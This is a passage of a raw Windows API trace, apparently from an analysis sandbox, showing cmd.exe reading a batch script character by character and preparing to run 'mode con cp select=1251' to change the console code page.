lpWideCharStr=0x4a2ae330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0032.434] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.434] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.434] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0032.434] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.434] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.434] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0032.434] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.434] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.434] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0032.434] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.434] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.434] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0032.434] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.434] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.434] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0032.435] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.435] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.435] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0032.435] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.435] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.435] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0032.435] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.435] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.435] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0032.435] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.435] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.435] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0032.435] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.435] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.435] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0032.435] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.435] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.435] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0032.435] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.435] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.436] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0032.436] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.436] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.436] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0032.436] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.436] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.436] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0032.436] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.436] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.436] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0032.437] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.437] GetFileType (hFile=0xe8) returned 0x3 [0032.437] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.437] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.437] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.437] GetFileType (hFile=0xf4) returned 0x3 [0032.437] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.437] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a2ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0032.437] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2ac320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x1df6c8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesWritten=0x1df6c8*=0x18, lpOverlapped=0x0) returned 1 [0032.437] GetProcessHeap () returned 0x300000 [0032.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4012) returned 0x31cd20 [0032.437] GetProcessHeap () returned 0x300000 [0032.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd20 | out: hHeap=0x300000) returned 1 [0032.437] _wcsicmp (_String1="mode", _String2=")") returned 68 [0032.437] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0032.437] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0032.437] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0032.437] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0032.437] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0032.437] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0032.437] GetProcessHeap () returned 0x300000 [0032.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb0) returned 0x3197e0 [0032.438] GetProcessHeap () returned 0x300000 [0032.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1a) returned 0x314610 [0032.438] GetProcessHeap () returned 0x300000 [0032.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x38) returned 0x316510 [0032.439] GetConsoleOutputCP () returned 0x1b5 [0032.439] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a2abfe0 | out: lpCPInfo=0x4a2abfe0) returned 1 [0032.439] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0032.439] GetConsoleTitleW (in: lpConsoleTitle=0x1df680, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0032.439] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0032.439] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0032.439] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0032.439] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0032.440] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0032.440] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0032.440] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0032.440] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0032.440] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0032.440] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0032.440] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0032.440] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0032.440] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0032.440] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0032.440] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0032.440] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0032.440] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0032.440] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0032.440] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0032.440] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0032.440] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0032.440] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0032.440] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0032.440] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0032.440] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0032.440] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0032.440] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0032.440] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0032.440] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0032.440] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0032.440] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0032.440] _wcsicmp (_String1="mode", _String2="START") returned -6 [0032.440] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0032.440] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0032.440] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0032.440] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0032.440] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0032.440] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0032.440] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0032.440] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0032.440] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0032.441] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0032.441] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0032.441] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0032.441] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0032.441] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0032.441] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0032.441] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0032.441] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0032.441] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0032.441] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0032.441] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0032.441] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0032.441] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0032.441] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0032.441] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0032.441] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0032.441] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0032.441] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0032.441] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0032.441] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0032.441] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0032.441] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0032.441] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0032.441] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0032.441] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0032.441] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0032.441] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0032.441] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0032.441] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0032.441] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0032.441] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0032.441] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0032.441] _wcsicmp (_String1="mode", _String2="START") returned -6 [0032.441] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0032.441] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0032.441] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0032.441] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0032.441] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0032.442] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0032.442] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0032.442] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0032.442] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0032.442] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0032.442] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0032.442] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0032.442] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0032.442] GetProcessHeap () returned 0x300000 [0032.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x218) returned 0x301ab0 [0032.442] GetProcessHeap () returned 0x300000 [0032.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x42) returned 0x3198a0 [0032.442] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0032.442] GetProcessHeap () returned 0x300000 [0032.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x420) returned 0x319a80 [0032.442] SetErrorMode (uMode=0x0) returned 0x0 [0032.442] SetErrorMode (uMode=0x1) returned 0x0 [0032.442] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x319a90, lpFilePart=0x1def10 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1def10*="Desktop") returned 0x25 [0032.442] SetErrorMode (uMode=0x0) returned 0x1 [0032.442] GetProcessHeap () returned 0x300000 [0032.443] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x319a80, Size=0x66) returned 0x319a80 [0032.443] GetProcessHeap () returned 0x300000 [0032.443] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x319a80) returned 0x66 [0032.443] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a29f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0032.443] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0032.443] GetProcessHeap () returned 0x300000 [0032.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x128) returned 0x301cd0 [0032.443] GetProcessHeap () returned 0x300000 [0032.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0x319b00 [0032.449] GetProcessHeap () returned 0x300000 [0032.449] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x319b00, Size=0x12a) returned 0x319b00 [0032.449] GetProcessHeap () returned 0x300000 [0032.449] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x319b00) returned 0x12a [0032.449] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a29f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0032.449] GetProcessHeap () returned 0x300000 [0032.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xe8) returned 0x315b70 [0032.449] GetProcessHeap () returned 0x300000 [0032.449] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x315b70, Size=0x7e) returned 0x315b70 [0032.449] GetProcessHeap () returned 0x300000 [0032.449] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315b70) returned 0x7e [0032.450] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0032.450] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x1dec80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dec80) returned 0xffffffffffffffff [0032.450] GetLastError () returned 0x2 [0032.450] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x1dec80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dec80) returned 0xffffffffffffffff [0032.450] GetLastError () returned 0x2 [0032.450] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0032.451] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x1dec80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dec80) returned 0x315c00 [0032.451] GetProcessHeap () returned 0x300000 [0032.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x28) returned 0x314640 [0032.451] FindClose (in: hFindFile=0x315c00 | out: hFindFile=0x315c00) returned 1 [0032.451] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x1dec80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dec80) returned 0x315c00 [0032.451] GetProcessHeap () returned 0x300000 [0032.451] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314640, Size=0x8) returned 0x3198f0 [0032.451] FindClose (in: hFindFile=0x315c00 | out: hFindFile=0x315c00) returned 1 [0032.451] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0032.451] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0032.451] GetConsoleTitleW (in: lpConsoleTitle=0x1df1d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0032.451] GetProcessHeap () returned 0x300000 [0032.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x21c) returned 0x319c40 [0032.451] GetConsoleTitleW (in: lpConsoleTitle=0x319c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0032.451] GetProcessHeap () returned 0x300000 [0032.451] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x319c40, Size=0xa8) returned 0x319c40 [0032.451] GetProcessHeap () returned 0x300000 [0032.451] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x319c40) returned 0xa8 [0032.451] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0032.452] GetProcessHeap () returned 0x300000 [0032.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x319c40 | out: hHeap=0x300000) returned 1 [0032.452] InitializeProcThreadAttributeList (in: lpAttributeList=0x1def88, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1def48 | out: lpAttributeList=0x1def88, lpSize=0x1def48) returned 1 [0032.452] UpdateProcThreadAttribute (in: lpAttributeList=0x1def88, dwFlags=0x0, Attribute=0x60001, lpValue=0x1def38, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1def88, lpPreviousValue=0x0) returned 1 [0032.452] GetStartupInfoW (in: lpStartupInfo=0x1df0a0 | out: lpStartupInfo=0x1df0a0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0032.452] GetProcessHeap () returned 0x300000 [0032.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x20) returned 0x314640 [0032.452] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0032.452] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0032.452] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0032.452] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0032.452] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0032.452] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0032.452] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) 